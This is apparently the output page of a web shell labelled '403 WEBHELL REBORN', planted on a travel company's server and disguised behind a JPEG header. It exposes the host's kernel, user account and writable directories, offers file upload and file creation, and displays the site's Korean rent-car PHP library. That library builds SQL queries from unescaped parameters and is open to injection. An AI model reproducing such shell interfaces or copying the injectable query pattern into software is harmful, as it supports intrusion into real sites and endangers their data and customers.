ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/Lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/Lib/to_rentcar.lib.php
<?
/******************************************************************************
*
* 1. 렌트카 전시 관련 함수
*
******************************************************************************/

// 렌트카 마스터 정보
//
// @param :
// @param :
function to_rentcar($sql_where="",$sql_order="",$limit="")
{
	global $cf;
	
	$upload="/FileData/rentcar/";
	$upload_thum="/FileData/rentcar_thum/";

	$table = " ( select a.*,CONCAT(LEFT(CURDATE(),4),'-',MIN(b.start_dt)) AS start_dt,CONCAT(LEFT(CURDATE(),4),'-',MAX(b.end_dt)) AS end_dt from TB_RENTCAR a left join TB_RENTCAR_SEASON_PRICE b on a.carid=b.carid ) c ";
	$data = array();

	$sql = "select * from {$table} where 1 {$sql_where} ";

	if ( $sql_order ) $sql .= " order by {$sql_order}";
	else $sql .= " order by order_num , carid desc ";

	if ( $limit ) $sql .= " limit {$limit} ";

	$rs = db_query($sql);

	for($i=0 ; $row = db_fetch_array($rs) ; $i++){

		//담당자 정보
		$row['officer'] = to_get_officer($row['admin_id']);

		if ($row['carid'])
		{
			// 사용 flag
			if ($row['delflag'] == "N") {
				$row['delflag_icon'] = $cf['icon']['start'];
				$row['delflag_opp'] = "Y";
			} else {
				$row['delflag_icon'] = $cf['icon']['stop'];
				$row['delflag_opp'] = "N";
			}

			// 시즌개수 개수
			$sql = "select count(seasid) as seasid_cnt from TB_RENTCAR_SEASON where carid='{$row[carid]}' ";
			$arr = db_fetch($sql);
			$row['seasid_cnt'] = $arr['seasid_cnt'];

			// 제조사
			$makr_arr = base_codec("RNT","MAKR",$row['makr_cd']);
			$row['makr_nm'] = $makr_arr[0]['cd_nm'];

			// 배기량
			$engn_arr = base_codec("RNT","ENGN",$row['engn_cd']);
			$row['engn_nm'] = $engn_arr[0]['cd_nm'];
			$row['engn_nm2'] = number_format($engn_arr[0]['cd_nm'])."cc";

			// 연비
			$row['ind_ratio2'] = $row['ind_ratio']."km/ℓ";

			// 챠량등급
			$lvel_arr = base_codec("RNT","LVEL",$row['lvel_cd']);
			$row['lvel_nm'] = $lvel_arr[0]['cd_nm'];

			// 사용 flag
			if ($row['delflag'] == "N") {
				$row['delflag_icon'] = $cf['icon']['start'];
				$row['delflag_opp'] = "Y";
			} else {
				$row['delflag_icon'] = $cf['icon']['stop'];
				$row['delflag_opp'] = "N";
			}

			// 차량 이미지 
			if ( $row['img'] ) 
			{
				$row['img_src'] = $upload . $row['img'];
				$row['img_thum'] = $upload_thum . $row['img'];
			}else
			{
				$row['img_src'] = $cf['TO_IMG']['no_image_s'];
				$row['img_thum'] = $cf['TO_IMG']['no_image_s'];
			}

			// 입력일
			$row['ins_dt2'] = str_replace("-",".",substr($row['ins_dt'],0,10));

			// 시즌중 최저요금 
			$sql = "select min(price_sell) as price_sell_min ";
			$sql .= " from TB_RENTCAR_SEASON_PRICE ";
			$sql .= " where carid='{$row[carid]}' and price_type='nor' ";
			
			$arr_t = db_fetch($sql);
			$row['price_low'] = $arr_t['price_sell_min'];

			
			$data[] = $row;
		}
	}

	return $data;
}


// 렌트카 지역 목록
// 
// @params Bidx : 국가코드
// @params Cidx : 도시코드
// @params sql_where : 
function to_rentcar_place($Bidx="",$Cidx="",$sql_where="")
{
	$data = array();

	$sql = "select * from TB_RENTCAR_PLACE where 1 {$sql_where} and delflag='N' ";
	if ($Bidx) $sql .= " and Bidx='{$Bidx}' ";
	if ($Cidx) $sql .= " and Cidx='{$Cidx}' ";

	$sql .= " order by order_num ";

	$rs = db_query($sql);
		
	for($i=0 ; $row = db_fetch_array($rs) ; $i++)
	{
		$data[] = $row;
	}

	return $data;
}

// 시즌목록
// 
// @params carid : 렌트카id
// @params seasid : 시즌id
// @params sql_where : 
//
function to_rentcar_season($carid="",$seasid="",$sql_where="")
{
	global $cf;

	$data = array();

	$sql = "select * from TB_RENTCAR_SEASON where 1 {$sql_where} ";
	
	if ($carid) $sql .= " and carid='{$carid}' ";
	if ($seasid) $sql .= " and seasid='{$seasid}' ";

	$sql .= " order by start_dt";

	$rs = db_query($sql);
		
	for($i=0 ; $row = db_fetch_array($rs) ; $i++){

		// 사용 flag
		if ($row['delflag'] == "N") {
			$row['delflag_icon'] = $cf['icon']['start'];
			$row['delflag_opp'] = "Y";
		} else {
			$row['delflag_icon'] = $cf['icon']['stop'];
			$row['delflag_opp'] = "N";
		}

		// 날짜 자르기
		$tmp_arr = explode("-",$row['start_dt']);
		$row['start_dt_m']  = $tmp_arr[0];
		$row['start_dt_d']  = $tmp_arr[1];
		$tmp_arr = explode("-",$row['end_dt']);
		$row['end_dt_m']  = $tmp_arr[0];
		$row['end_dt_d']  = $tmp_arr[1];

		// 시즌 가격 개수
		$arr = db_fetch("select count(*) cnt from TB_RENTCAR_SEASON_PRICE where seasid='{$row[seasid]}' ");
		$row['price_cnt'] = $arr['cnt'];

		$data[] = $row;
	}

	return $data;
}

// 시즌 가격 
//
// @params carid : 렌트카id
// @params seasid : 시즌id
// @params spdseq : 일차
// @params sql_where : 
//
function to_rentcar_season_price($carid="",$seasid="",$spdseq="",$sql_where="" ,$sql_order="")
{
	$data = array();

	$sql = "select * from TB_RENTCAR_SEASON_PRICE where 1 {$sql_where}";

	if ($carid) $sql .= " and carid='{$carid}' ";
	if ($seasid) $sql .= " and seasid='{$seasid}' ";
	if ($spdseq) $sql .= " and spdseq='{$spdseq}' ";

	if ( $sql_order ) $sql .= " order by {$sql_order} ";
	else $sql .= " order by spdseq ";

	$rs = db_query($sql);
		
	for($i=0 ; $row = db_fetch_array($rs) ; $i++){
		$row['spdseq2'] = $row['spdseq']."시간";
		if($row['price_type']=="cur") $row['spdseq2'] = "당일요금";
		if($row['price_type']=="24h") $row['spdseq2'] = "이후24시간요금";
		
		$data[] = $row;
	}

	return $data;
}

// 시즌가격 입력가능한 일차를 배열로 반환
// 이미 세팅된 일차는 빼고 리턴
// 
// @params seasid : 시즌 id
function to_rentcar_season_price_date($seasid)
{
	global $cf;

	// 시간
	$hour_arr = $cf['rental_hour'];
	
	if (!$seasid) return;
	
	$arr = array();
	$arr2 = array();

	$arr = $hour_arr;

	$data = to_rentcar_season_price("",$seasid);

	for($i=0 ; $i<count($arr) ; $i++){
		for($j=0 ; $j<count($data) ; $j++){
			if ($arr[$i]==$data[$j]['spdseq'] and $data[$j]['price_type']=="nor") {
				$arr[$i] = "";
			}
		}
	}

	foreach($arr as $key => $val){
		if ($val) {
			$arr2[$key] = $val;
		}
	}
	
	return $arr2;
}

// 시즌일자 중복 확인
// 
// @params carid : 렌트카id
// @params start_dt : 출발일
// @params end_dt : 도착일
// @params seasid : 시즌id
function to_season_date_check($carid,$start_dt,$end_dt,$seasid="")
{

	if(!$carid) return;

	$start_date = date("Y")."-".$start_dt;
	$end_date = date("Y")."-".$end_dt;
	
	$arr = date_to_date($start_date,$end_date);//두날짜 사이 날짜를 전부 array받음

	for($i=0 ; $i<count($arr)  ;$i++){
		$dt = substr($arr[$i]['date'],5);
		$sql = "select count(seasid) as cnt from TB_RENTCAR_SEASON where carid='{$carid}' ";
		$sql .= " and '{$dt}' >= start_dt AND '{$dt}' <= end_dt  ";
			
		if ($seasid) $sql .= " and seasid != '{$seasid}' ";

		$row = db_fetch($sql);
		if( $row['cnt'] > 0 ) return "false"; // 중복되는 날짜가 존재
	}

	return "true"; // 날짜 중복되지 않음
}


// 랜트카 갤러리
// 
// params carid : 랜트카id
function to_rentcar_gallery($carid)
{
	$data = array();

	if (!$carid) return $data;

	// 랜트카 이미지 업로드 경로
	$upload = "../FileData/rentcar/";
	$upload_thum = "../FileData/rentcar_thum/";

	// 갤러리 구분
	$code_galy = base_codec("RNT","GALY","","N");

	// 갤러리
	$rs = db_query("select * from TB_RENTCAR_GALLERY where carid='{$carid}' order by galy_cd,order_num ");
	for($i=0 ; $row=db_fetch_array($rs) ; $i++)
	{
		// 구분
		$arr_t = base_codec("RNT","GALY",$row['galy_cd'],"N");
		$row['galy_nm'] = $arr_t[0]['cd_nm'];

		// 이미지 경로
		$row['img_src'] = $upload.$row['img'];
		$row['img_thum'] = $upload_thum.$row['img'];

		$data[] = $row;
	}

	return $data;

}

/******************************************************************************
*
* 2. 렌트카 예약 관련 함수
*
******************************************************************************/

// ★★★★ 예약가능한 월(일)별 목록 ★★★★
//
// @params carid : 렌트카id
// @params rental_dt : 예약일 yyyy-mm or yyyy-mm-dd
// @params return_dt : 반납일 yyyy-mm-dd
function rentcar_date($carid="",$rental_dt="",$return_dt="")
{
	$data = array();

	if ( !$carid ) return $data;

	// 차량마스터 정보에 차량이 사용중인지 확인
	$sql = "select count(carid) as cnt from TB_RENTCAR where carid='{$carid}' and delflag='Y' ";
	$row = db_fetch($sql);
	if ($row['cnt'] > 0) return $data;
	
	if ( strlen($rental_dt)==7 ) { // yyyy-mm
		$date1 = $rental_dt."-01"; // 시작일
		$arr = date_pre_next($date1); 
		$t = $arr[1]['next_date1']."-".$arr[1]['next_date2']."-01"; 
		
		$date2 = date("Y-m-d",strtotime(date($t)." -1 day")); // 종료일
		
	} else if ( strlen($rental_dt) == 10){ // yyyy-mm-dd
		
		$date1 = $rental_dt; // 대여일
		if ( !$return_dt ) $date2 = date("Y-m-d",strtotime($rental_dt)); // 반납일 
		else $date2 = $return_dt;
	
	} else if ( strlen($rental_dt) == 19){ // yyyy-mm-dd hh:ii:ss
		
		$date1 = substr($rental_dt,0,10); // 대여일
		if ( !$return_dt ) $date2 = substr($rental_dt,0,10); // 반납일
		else $date2 = substr($return_dt,0,10);
	} else {
			
		return $data;
			
	}
	
	$date_arr = date_to_date($date1,$date2); 

	// 예약진행상태 코드
	$code_data = base_codec("PRD","HRES");

	for ($i=0 ; $i<count($date_arr) ; $i++) 
	{
		$arr = $date_arr[$i];
		
		$is_res = false; // 예약
		$is_sea = false; // 시즌
		$is_today = false; // 금일

		// 날짜
		$rental_ymd = $arr['date'];
		$dt = substr($rental_ymd,5);

		// 시즌정보 확인
		$arr_season = to_rentcar_season_price($carid,"",""," and '{$dt}' >= start_dt and '{$dt}' <= end_dt ");
		$sea_arr = $arr_season[2]; // 대표요금 
		
		// 해당일자에 예약 가능
		if ( count($arr_season) > 0 ) {
			$is_sea = true;
		}

		// 보유대수
		$daesu = $sea_arr['daesu'];
		
		// 예약정보에 차량이 사용중인지 확인
		$sql = "select IF(SUM(res_daesu)>0,SUM(res_daesu),0) AS cnt from TB_RES_RENTCAR ";
		$sql .= " where carid='{$carid}' ";
		$sql .= " and DATE_FORMAT('{$rental_ymd}','%Y-%m-%d') >= DATE_FORMAT(rental_dt,'%Y-%m-%d') AND DATE_FORMAT('{$rental_ymd}','%Y-%m-%d') <= DATE_FORMAT(return_dt,'%Y-%m-%d') ";
		$sql .= " and res_stat_cd <> 'D' ";
		$row = db_fetch($sql);

		// 예약대수
		$res_cnt = $row['cnt'];

		if ( $res_cnt < $daesu ) { // 해당일자에 예약 가능
			$is_res = true;
		}
		
		$arr['daesu'] = $daesu;
		$arr['res_cnt'] = $res_cnt;
		$arr['res_daesu'] = $daesu - $res_cnt; // 예약가능 대수
		if ( $arr['res_daesu'] < 0 ) $arr['res_daesu'] = 0;// 예약가능 대수가 음수이면 0
		
		// 예약이 보유대수를 초과할수 없다
		if ($daesu <= $res_cnt) { // 예약불가
			$is_today = false;
		}
		
		// 오늘 이전일자는 예약불가
		if ( date("Y-m-d", strtotime($rental_ymd)) >= date("Y-m-d") ) {
			$is_today = true;
		}
		
		// 예약가능 일자
		$arr['season'] = $sea_arr;
		if ( $is_sea == true )
		{
			if ( $is_today == true ) 
			{
				if ( $is_res == true)
				{
					$arr['reserv_yn'] = "C";  // 확정예약
					$arr['reserv_str'] = $code_data[1]['cd_nm'];
					$arr['reserv_color'] = $code_data[1]['cd_memo'];
					$arr['reserv_class'] = $code_data[1]['cd_memo2']; // 사용자페이지  css class
				}
				else 
				{
					$arr['reserv_yn'] = "R"; // 대기예약
					$arr['reserv_str'] = $code_data[0]['cd_nm'];
					$arr['reserv_color'] = $code_data[0]['cd_memo'];
					$arr['reserv_class'] = $code_data[0]['cd_memo2']; // 사용자페이지  css class
				}
			} else { // 오늘이전 예약불가
				$arr['reserv_yn'] = "N";
				$arr['reserv_str'] = "마감";
				$arr['reserv_color'] = $code_data[2]['cd_memo'];
				$arr['reserv_class'] = $code_data[2]['cd_memo2']; // 사용자페이지  css class
			}
		}
		$data[] = $arr;
	}

	return $data;
}

// 예약가능한 시즌목록 중 최소차량대수,요금합계
//
// @params data : array()
// @return min_res_daesu 
function rentcar_date_min($data_arr)
{
	global $cf;

	if ( !is_array($data_arr) ) return;
	
	$data = array();

	$sw = true;
	$res_yn = "C"; // 예약가능 유무
	$res_desc = ""; // 예약불가 사유
	$res_daesu  = 0 ; // 예약 가능 차량 대수
	
	for( $i=0 ; $i<count($data_arr) ; $i++ ) {
		$arr = $data_arr[$i];
		
		if ($sw==true)
		{
			if ( $arr['reserv_yn'] == "N") { // 예약불가
				$res_yn = "N"; 
				$res_daesu = 0;
				$sw = false;
			}

			if ( $arr['reserv_yn'] == "R" and $sw==true) { // 대기예약
				$res_yn="R";
				$res_daesu = $cf['max_reserv_cnt'];
				$sw = false;
			}
		}
	}
	
	// 최소 예약대수
	if ($res_yn == "C") // 확정예약
	{
		foreach($data_arr as $key => $row)
		{
			$s[$key] = $row['res_daesu'];
		}
		array_multisort($s,SORT_ASC,$data_arr);
		$res_daesu = $data_arr[0]['res_daesu'];
	}
	
	$data['res_yn'] = $res_yn; // 예약상태
	$data['res_daesu'] = $res_daesu; // 예약가능 대수 
	
	return $data;
}

// 시즌목록에서 검색 년월(최소,최대) 리턴
//
function rentcar_first_last($carid)
{
	$y = date("Y");

	$sql = "select MIN(left(rental_dt,10)) AS  first_dt,MAX(left(rental_dt,10)) AS  last_dt ";
	$sql .= " from TB_RES_RENTCAR where carid='{$carid}' ";

	$data = db_fetch($sql);

	if(!$data['first_dt']) $data['first_dt']=date("Y-m-d",strtotime($data['first_dt']." - 1 year"));
	if(!$data['last_dt']) {
		$data['last_dt']= date("Y-m-d",strtotime($data['first_dt']." + 4 year"));
	}

	$tmp_arr = explode("-",$data['first_dt']);
	if(($y - $tmp_arr[0]) > 5) {//현재년도와 5년이상 차이나면 현재년도에서 5년전 생성
		$data['first_dt1'] = $y-5;
	}else{
		$data['first_dt1'] = $tmp_arr[0];//년
	}
	$data['first_dt2'] = $tmp_arr[1];//월
	$data['first_dt3'] = $tmp_arr[2];//일

	$tmp_arr = explode("-",$data['last_dt']);
	$data['last_dt1'] = $tmp_arr[0];//년
	$data['last_dt2'] = $tmp_arr[1];//월
	$data['last_dt3'] = $tmp_arr[2];//일

	return $data;
}





// 렌트카 예약 마스터
// 
function res_rentcar_master($sql_where="",$sql_order="",$limit="")
{
	global $cf;
	
	$table = "TB_RES_RENTCAR";
	$data = array();

	$sql = "select * from {$table} where 1 {$sql_where} ";

	if ( $sql_order ) $sql .= " order by {$sql_order}";
	else $sql .= " order by ins_dt desc ";

	if ( $limit ) $sql .= " limit {$limit} ";

	$rs = db_query($sql);

	for($i=0 ; $row = db_fetch_array($rs) ; $i++)
	{
		// 자동정산정보하고 항목을 맞춰주기 위해
		$row['price_total']				= $row['sales_total'];
		$row['price_cost_total']	= $row['sales_total_cost'];

		// 입금상태 (미납/완납/과납) 
		$arr = res_account_info($row['res_no']);
		$arr_account = $arr['tot'];

		$row['proc_str'] = "-"; // 입금상태 초기화

		if ( $arr_account['pre_money'] > 0 ) 
			$row['proc_str'] = "<span class='icon_unpaid'>미납</span>";
		else if( $arr_account['pre_money'] < 0 ) 
			$row['proc_str'] = "<span class='icon_overpaid'>과납</span>";
		else if ( $row['res_stat_cd'] == "C" ) 
			$row['proc_str'] = "<span class='icon_paid'>완납</span>";

		$row['account'] = $arr_account;

		// 확정예약(C) , 대기예약(R) 추가
		$res_data = base_codec("PRD","HRES",$row['res_stat_cd']);// 예약진행상태 코드
		$res_arr = $res_data[0];
		$row['res_stat_str'] = $res_arr['cd_nm'];
		$row['res_stat_color'] = $res_arr['cd_memo'];

		// 진행전달
		$code_res = base_codec("PRD","RESR",$row['order_state']);
		$row['order_state_str'] =  $code_res[0]['cd_nm'];
		$row['order_state_color'] = $code_res[0]['cd_memo'];

		// 보험
		$code_insu = base_codec("RNT","NOC",$row['insu_cd']);
		$row['insu_nm'] = $code_insu[0]['cd_nm'];

		// 결제 유무
		$row['pay_yn'] = "N";
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] > 0 ) // 확정예약 && 미결제금액이 '0' 이상
		{
			$row['pay_yn'] = "Y"; // 결제가능
		}
		
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] == 0 ) // 확정예약(C) && 미결제금액이 '0' 
		{
			$row['pay_yn'] = "C"; // 결제완료
		}

		// 기타
		$row['rental_dt2'] = substr($row['rental_dt'],0,10);
		$row['rental_tm_1'] = substr($row['rental_dt'],11,2);
		$row['rental_tm_2'] = substr($row['rental_dt'],14,2);
		$row['return_dt2'] = substr($row['return_dt'],0,10);
		$row['return_tm_1'] = substr($row['return_dt'],11,2);
		$row['return_tm_2'] = substr($row['return_dt'],14,2);

		$row['navigation_str'] = ($row['navigation_lang']) ? "장착":"X";

		$row['ins_dt2'] = str_replace("-","/",substr($row['ins_dt'],0,10));
		$row['edit_dt2'] = str_replace("-","/",substr($row['edit_dt'],0,10));

		$row['tab'] = "R"; // 상품타입(to_good.lib.php > TO_good_module 참고)

		$data[] = $row;
	}

	return $data;
}


// ★★★★ 대여 요금계산 ★★★★
//
// @params carid : 렌트카id
// @params rental_dt : 예약일 yyyy-mm-dd HH:ii:ss
// @params return_dt : 반납일 yyyy-mm-dd HH:ii:ss
// @params res_daesu : 대여차량 수 (요금계산)
// @params agent_id : 대리점id (요금계산)
// @params insu_price : 보험가 (요금계산)
function res_rentcar_caltax($carid="",$rental_dt="",$return_dt="",$res_daesu=1,$insu_cd="",$agent_id="")
{
	$data = array();

	if ( !$carid or strlen($rental_dt) != 19 or strlen($return_dt) != 19 ) return $data;

	$date1 = substr($rental_dt,0,10);
	$date2 = substr($return_dt,0,10);
	$dt = substr($date1,5);

	// ★★★대여시간에 따른 요금 계산 (해당 날짜에 예약가능여부를 시간으로 타진함)★★★
	// ★★★만약, 시즌기간이 2개이상 걸칠때 맨처음 시즌요금에 적용을 받는다.★★★
	// 차량 1 대 기준 , 안심보험 x

	$totcar_arr = array();
	$totcar_arr['cost_total'] = 0 ; // 원가 계산 결과저장
	$totcar_arr['sell_total'] = 0; // 판매가 계산 결과저장
	$totcar_arr['agent_total'] = 0; // 대리점 계산 결과저장

	// 총 랜탈 시간 계산
	$sql = "select timediff('{$return_dt}','{$rental_dt}') as rental_hour";
	$hour_arr = db_fetch($sql);
	
	$totcar_arr['rental_hour'] = (float)str_replace(":",".",substr($hour_arr['rental_hour'],0,5)); // 총 랜탈 시간(31.3)
	
	// 시즌요금 정보 (처음시작되는 시즌요금만 가져면 됨)
	$season_nor_arr = to_rentcar_season_price($carid,"",""," and ( '{$dt}' >= start_dt and '{$dt}' <= end_dt ) and ( spdseq >= {$totcar_arr[rental_hour]} and price_type='nor' ) ");
	
	// 당일 또는 시간이후 요금 정보
	$season_spe_arr = to_rentcar_season_price($carid,"",""," and ( '{$dt}' >= start_dt and '{$dt}' <= end_dt ) and ( price_type in ('cur','24h') ) ");
	
	// 당일,시간이후 요금 정보가 있어야 함.
	if ( count($season_spe_arr) != 0 ) 
	{
		if ( $date1==$date2 )  // 당일 대여
		{
				$totcar_arr['cost_total']  = $season_spe_arr[0]['price_cost']; // 원가 
				$totcar_arr['sell_total']  = $season_spe_arr[0]['price_sell']; // 판매가 
				$totcar_arr['agent_total'] = $season_spe_arr[0]['price_agent']; // 대리점 
		} 
		else // 단기or장기 대여
		{ 
			if ( count($season_nor_arr)>0 ) 
				{ // 시즌요금정보 적용.
					$totcar_arr['cost_total']  = $season_nor_arr[0]['price_cost']; // 원가 
					$totcar_arr['sell_total']  = $season_nor_arr[0]['price_sell']; // 판매가 
					$totcar_arr['agent_total'] = $season_nor_arr[0]['price_agent']; // 대리점 
				} 
				else 
				{ //  시즌요금정보가 없으면, 제일큰 시즌가격을 가져옴
					$season_nor_arr = to_rentcar_season_price($carid,"",""," and '{$dt}' >= start_dt and '{$dt}' <= end_dt and price_type='nor'  ");
					rsort($season_nor_arr);

					// 시즌가격 세팅
					$totcar_arr['cost_total']  = $season_nor_arr[0]['price_cost']; // 원가 
					$totcar_arr['sell_total']  = $season_nor_arr[0]['price_sell']; // 판매가 
					$totcar_arr['agent_total'] = $season_nor_arr[0]['price_agent']; // 대리점 

					// 제일큰 시즌가격보다 대여시간이 크면 차이만큼 24시간 요금 적용.
					if ( (float)$season_nor_arr[0]['spdseq'] < (float)$totcar_arr['rental_hour'] ) 
					{
						$diff_hour = (float)$totcar_arr['rental_hour'] - (float)$season_nor_arr[0]['spdseq'];
						
						// 차이시간 만큼 24시간 요금 적용
						$divide_hour = ceil($diff_hour / 24); 
						
						$totcar_arr['cost_total'] += $divide_hour*$season_spe_arr[1]['price_cost']; // 원가 
						$totcar_arr['sell_total'] += $divide_hour*$season_spe_arr[1]['price_sell']; // 판매가 
						$totcar_arr['agent_total']+= $divide_hour*$season_spe_arr[1]['price_agent']; // 대리점 
					}
				}
		}
	}
	
	// ★★★★★ 대여요금을 계산 전체금액 (= (대여비용 + 안심보험)*차량대수 ) ★★★★★
	$sales_total = 0;
	$sales_total_cost = 0;
	$insu_price = 0 ;

	// 보험
	if ($insu_cd)
	{
		$code_insu = base_codec("RNT","NOC",$insu_cd);
		$insu_price = (int)$code_insu[0]['cd_memo'];
	}

	if ($agent_id) { // 대리점 가격
		$sales_total = ($totcar_arr['agent_total'] + $insu_price) * $res_daesu;
	}else{ // 판매 가격
		$sales_total = ($totcar_arr['sell_total'] + $insu_price) * $res_daesu;
	}
	// 원가
	$sales_total_cost = ($totcar_arr['cost_total'] + $insu_price) * $res_daesu;
	
	$totcar_arr['sales_total'] = $sales_total; // 판매가
	$totcar_arr['sales_total_cost'] = $sales_total_cost; // 판매원가

	// 가격 및 대여료 계산 정보를 배열로 리턴
	$data = $totcar_arr;

	return $data;
}


/******************************************************************************
*
* 3. 정산
*
******************************************************************************/

// 렌트카 정산 정보
//
// params res_no : 예약번호
// params seq : 
function acc_rentcar_date($res_no,$seq="")
{
	$table = "TB_ACCOUNT_RENTCAR";
	
	$data['list'] = array(); // 정산 항목 목록
	$data['calu'] = array(); // 정산 누적금액 및 이익율 계산
	$exes_common = 0; // 출금지출(2014-07-29)
	$exes_vat = 0; // 부가세 지출(2014-07-29)

	$revn_tot = 0; // 수익계
	$exes_tot = 0; // 비용계

	if (!$res_no) return $data;

	$sql = "select * from {$table} where res_no='{$res_no}' ";
	if ($seq) $sql .= " and seq='{$seq}' "; 
	$sql .= " order by acc_dt , ins_dt ";

	$rs = db_query($sql);

	// 각 항목 조회
	for($i=0 ; $row=db_fetch_array($rs) ; $i++)
	{
		$revn_tot += $row['revn_price']; // 수익계
		$exes_tot += $row['exes_price']; // 비용계

		if($row['exes_cd']=="REXE003") // 부가세 지출(2014-07-29)
		{
			$exes_vat += $row['exes_price'];
		}
		else // 출금 지출(2014-07-29)
		{
			$exes_common += $row['exes_price'];
		}

		$data['list'][] = $row;
	}

	if (!$seq)
	{
		$arr = array();
		$comm_tot = 0; // 수수료 수익
		$incom_tot =0; // 총수익
		$price_total = 0; // 판매액

		if ( count($data['list']) > 0 ) // 정산정보가 있음
		{
			// 판매(입금)액
			$arr_t = res_rentcar_master(" and res_no='{$res_no}' ");
			$price_total = $arr_t[0]['price_total'];
				
			// 알선수수료 = 판매액 - 비용계(항공,지상비등등)
			$comm_tot = $price_total - $exes_tot;
				
			// 총수익 = 알선수수료 + 수익계(COM,수수료 등)
			$incom_tot = $comm_tot + $revn_tot;
		}
			
		$arr['revn_tot']	= $revn_tot;
		$arr['exes_tot']	= $exes_tot;
		$arr['exes_common']	= $exes_common; // 출금 지출(2014-07-29)
		$arr['exes_vat']		= $exes_vat; // 부가세 지출(2014-07-29)
		$arr['comm_tot']	= $comm_tot; // 알선수수료
		$arr['incom_tot']	= $incom_tot; // 총수익
		
		$data['calu'] = $arr;
	}

	// return
	return $data;
}
?>

Anon7 - 2021